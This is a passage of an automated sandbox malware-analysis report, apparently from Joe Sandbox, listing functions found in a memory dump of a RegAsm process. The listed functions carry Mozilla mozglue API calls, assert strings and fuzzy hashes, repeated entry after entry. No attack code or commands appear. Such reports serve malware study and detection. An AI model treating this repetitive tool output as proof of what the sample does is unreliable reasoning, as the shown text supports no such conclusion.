name, xrefs: 6C565E79, 6C565E8F
expected a Count entry, xrefs: 6C565AC3
expected a Time entry, xrefs: 6C565CB6

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: a0ae193ff968cf3198973266534e3cd33073ab38d104a7d17242e60d03a66e08
Instruction ID: ea64bd371095a824379aa52b6854d73b7658a5663db203a819bbc099d016ea80
Opcode Fuzzy Hash: a0ae193ff968cf3198973266534e3cd33073ab38d104a7d17242e60d03a66e08
Instruction Fuzzy Hash: AF923B71A08341CFD724CF29C890B5AB7E1BFC9308F54891DE59A9BB51DB30E949CB92

Function 6C562E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C562ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C562EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C562F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C563214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C563242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5636BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C56378D
set , xrefs: 6C5636EC
get , xrefs: 6C563205

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: d7ce2b1e4ac9ecbbb5ab082383ecdba0426c690d0717c3459949cdb01f72735d
Instruction ID: 69ce337525b443e0e5ed1c808d6333b1a0ea0a8ec5b7f8d54f19e9b8fd24156e
Opcode Fuzzy Hash: d7ce2b1e4ac9ecbbb5ab082383ecdba0426c690d0717c3459949cdb01f72735d
Instruction Fuzzy Hash: 44326EB02083818FD724CF25C89069EB7E2AFC9318F548D5DE59987B61DB30E94ACB52

Function 6C557E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C558280, 6C5583E1
vYl, xrefs: 6C558207
schema, xrefs: 6C5581E3, 6C558311
name, xrefs: 6C557ECF, 6C558335
(pre-xul), xrefs: 6C557E88

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vYl
API String ID: 3412268980-4162765133
Opcode ID: deed7646c1cdcf0b29cfe82f16d445dcf1b10b9b8742659477d47e269eb8e190
Instruction ID: 116657e5e63c2cf3d1c26c0e0d1a16f6251a541255a16e3e5985ff6eaaf2ee7b
Opcode Fuzzy Hash: deed7646c1cdcf0b29cfe82f16d445dcf1b10b9b8742659477d47e269eb8e190
Instruction Fuzzy Hash: E0E19FB1A043508BC710CF698C4065BFBE9BFD9314F548A2DE899E7790EBB4DD098B91

Function 6C535E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C535EDB
memset.VCRUNTIME140(ewWl,000000E5,?), ref: 6C535F27
LeaveCriticalSection.KERNEL32(?), ref: 6C535FB2
memset.VCRUNTIME140(ewWl,000000E5,?), ref: 6C5361F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C537652

Strings

ewWl, xrefs: 6C535E9C, 6C535F22, 6C5361ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C53730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5372F8
MOZ_CRASH(), xrefs: 6C537BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C537BCD, 6C537C1F, 6C537C34, 6C5380FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5372E3

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewWl
API String ID: 2613674957-1405199191
Opcode ID: 3d286596e94b0866ea824cb7a7c9c820e1887f6792949e79df45d7b696f15df2
Instruction ID: 05da4f37831b56701c73ae92fe785646af533266e98f9fd3c2eca8b8bbb0c708
Opcode Fuzzy Hash: 3d286596e94b0866ea824cb7a7c9c820e1887f6792949e79df45d7b696f15df2
Instruction Fuzzy Hash: 88337B71A05711CFD308CF28C990615BBE2BF85368F29D6ADE86D8B7A5E731E841CB41

Function 6C53D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C59E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C54D1C5), ref: 6C53D4F2
LeaveCriticalSection.KERNEL32(6C59E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C54D1C5), ref: 6C53D50B

Part of subcall function 6C51CFE0: EnterCriticalSection.KERNEL32(6C59E784), ref: 6C51CFF6
Part of subcall function 6C51CFE0: LeaveCriticalSection.KERNEL32(6C59E784), ref: 6C51D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C54D1C5), ref: 6C53D52E
EnterCriticalSection.KERNEL32(6C59E7DC), ref: 6C53D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C53D6A6
LeaveCriticalSection.KERNEL32(6C59E7DC), ref: 6C53D712
LeaveCriticalSection.KERNEL32(6C59E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C54D1C5), ref: 6C53D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C53D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C53D82C
<jemalloc>, xrefs: 6C53D827

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 2cdf1a1ab0a1c8f4c1b671e35c5c629a795d386f3e12be62775dfcfcc2227b9f
Instruction ID: 3ba3aa8edae7b10e14ad71549fbc868171ca6619522b3b1097702c29f1b3248a
Opcode Fuzzy Hash: 2cdf1a1ab0a1c8f4c1b671e35c5c629a795d386f3e12be62775dfcfcc2227b9f
Instruction Fuzzy Hash: 7491D371A147A18FD714CF29C89432AB7F1FB85314F15592EE4AE87A81E770E844CB82

Function 6C539E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C539EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C539F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C539F34
LeaveCriticalSection.KERNEL32(?), ref: 6C53A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C53A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C53A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C53A8B1, 6C53A8D4, 6C53A8EF

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 667e4c6ea5c607c92065d4ffd36dd11d27335788646563f49f93ed4a43435524
Instruction ID: 2a63de1a4d0cb01e5de90ed1e6b5285792a00a033ad871793b7ff0bd79abd5d7
Opcode Fuzzy Hash: 667e4c6ea5c607c92065d4ffd36dd11d27335788646563f49f93ed4a43435524
Instruction Fuzzy Hash: 4B728D72A056218FDB04CF69C940615FBE1BF85328F29C76DE86D9B791E735E841CB80

Function 6C562C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C562C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C562C61

Part of subcall function 6C514DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C514E5A
Part of subcall function 6C514DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C514E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C562C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C562E2D

Part of subcall function 6C5281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5281DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C562E3B
expected a Time entry, xrefs: 6C562E36
(root), xrefs: 6C56354F

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: c90ea180a59cebd182fce10d6352244b0133ea6a2302962cfa580b3705b55c39
Instruction ID: 4e64189363e8e78c37e9a3532792b2f07f44ce0ac679bef2c2e65351783d8062
Opcode Fuzzy Hash: c90ea180a59cebd182fce10d6352244b0133ea6a2302962cfa580b3705b55c39
Instruction Fuzzy Hash: FA91C0706087808FD724CF25CC9469EB7F1AFCA358F50491DE59987BA1EB30D949CB42

Function 6C579E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C579F3D
__aulldiv.LIBCMT ref: 6C579F77
__aullrem.LIBCMT ref: 6C579F8C
__aulldiv.LIBCMT ref: 6C57A023

Strings

-Infinity, xrefs: 6C579E60, 6C579E7B
NaN, xrefs: 6C579EAB

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 9760d2f32544009feaf4d4b099a94aafe24690a9cf5d3a9b65dade0f3febafea
Instruction ID: 64cd1ee9159457724820c247ed9ada3bb4b1f3af37e000185c9e4cbc853a2ee9
Opcode Fuzzy Hash: 9760d2f32544009feaf4d4b099a94aafe24690a9cf5d3a9b65dade0f3febafea
Instruction Fuzzy Hash: 8AC1B071E04318CBEB24CFA8CC54B9EB7B6EB88314F545529D405ABB80D770ED89CBA1

Function 6C51D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C51D7DD
@, xrefs: 6C51DAF6
8, xrefs: 6C51DC08
0, xrefs: 6C51D852
9, xrefs: 6C51DE7F
0, xrefs: 6C51DC7F
1, xrefs: 6C51DBDD
, xrefs: 6C51DA88

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: c5131281a07a239d5c61a35ff8ed43f742e8db99ebc56febbe2339bac947d1ff
Instruction ID: d2f44ec8e6546059c9354788923770f1fa9569d644f10b68aefae8a0d751aaff
Opcode Fuzzy Hash: c5131281a07a239d5c61a35ff8ed43f742e8db99ebc56febbe2339bac947d1ff
Instruction Fuzzy Hash: E662CE7150C3458FF706CF28C89875ABBF2AF86358F184A0DE4D54BE92D3399985CB82

Function 6C58545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C588A4B

Strings

~qQl, xrefs: 6C58921F, 6C585740, 6C5856C7, 6C589459, 6C589269, 6C585703, 6C58948F

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: memset
String ID: ~qQl
API String ID: 2221118986-406014898
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 4fc0d5ef9d6e3cc71dbd721824c4192e89062c100fb64f177d40c6f1021a001c
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: E3B1E872E0122ACFDB14CF68CC917E9B7B2EF85314F1402A9C549EB795E730A985CB90

Function 6C58542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C58925C

Strings

~qQl, xrefs: 6C58921F, 6C585740, 6C5856C7, 6C589459, 6C589269, 6C585703, 6C58948F

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: memset
String ID: ~qQl
API String ID: 2221118986-406014898
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 5034ab951a995341d1ecb70f2a6c3f1ad9c65335a2fce5c6562ca0e43af6ea89
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: A1B1B572E0621ACFDB14CF58CC816EDB7B2EF85314F150269C549EB795D730A989CB90

Function 6C51BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C51C1CB
__aulldiv.LIBCMT ref: 6C51C24C
__aulldiv.LIBCMT ref: 6C51C348
__aullrem.LIBCMT ref: 6C51C365
__aulldiv.LIBCMT ref: 6C51C37D

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 8e73be538519e55027dc8de0468d2c5a3cbb4d3fda337d33abe9b6dd3f3de937
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: B8322732B086118FD718DE2CC890A5ABBE6AFC9310F098A7DE495CB795D731ED05CB91

Function 6C556CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C556D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C556E1E

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: a5765a148aac6ac12b939850665782cbe9ddee8f3e931d88f76d2613069d76a0
Instruction ID: d095574adc136f2f48f1bd8df5e071dae27ed9678e2f47ff8d368d3de137a7c1
Opcode Fuzzy Hash: a5765a148aac6ac12b939850665782cbe9ddee8f3e931d88f76d2613069d76a0
Instruction Fuzzy Hash: ABA16B70618380CFD715CF25C8907AEBBE2BFC9308F45495EE48A87B51DB70A858CB92

Function 6C534640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C534777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C535585, 6C5355A8, 6C5355C3, 6C535624

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 7218697d26dd2e61a681bda74e2aa515d77645d74a9173f36bc4065e0d3c0642
Instruction ID: cfda4797b524f0c49c4836dc0205d5111b97e0228915d5189f9606ce99a2b116
Opcode Fuzzy Hash: 7218697d26dd2e61a681bda74e2aa515d77645d74a9173f36bc4065e0d3c0642
Instruction Fuzzy Hash: 14B27C71A056118FC708CF19C990615FBE2BFC5324B29D7ADE86E8B7A5E771E841CB80

Function 6C5785F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C578C7C
__aulldiv.LIBCMT ref: 6C578DD7

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: a0bc3273ada677184d70040d56a7cac60432f88f7b91354c75b2d85a6fece2bb
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: FC328471F011198BDF18CE9DC8A17AEF7B6FB88300F15853AD506BB790D6349D858BA2

Function 6C5876E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qQl, xrefs: 6C5879C0, 6C58793C, 6C5879FB, 6C587E0B, 6C587796, 6C587B0B

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID:
String ID: ~qQl
API String ID: 0-406014898
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 6f9fd6025d2cb87f47dedfa61ec5dd6ab971a3b0df2f4a062d5227cd5f9f91c0
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8D320871E0162A8FCB14CF98C890AADFBF2FF88304F648569D549A7745D731A986CF90

Function 6C586E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qQl, xrefs: 6C587C72, 6C5879C0, 6C587C03, 6C58793C, 6C5879FB, 6C587E0B, 6C587B0B

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID:
String ID: ~qQl
API String ID: 0-406014898
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 9410f544ac48175da495f4adea3aabf272dd8769f5d3e82ccaf103a10a2de0b7
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 3C22D771E016298FDB14CF98C880AADF7F2FF88304F6485A9D949A7745D731A986CF90

Function 6C555C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C524A63,?,?), ref: 6C555F06

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

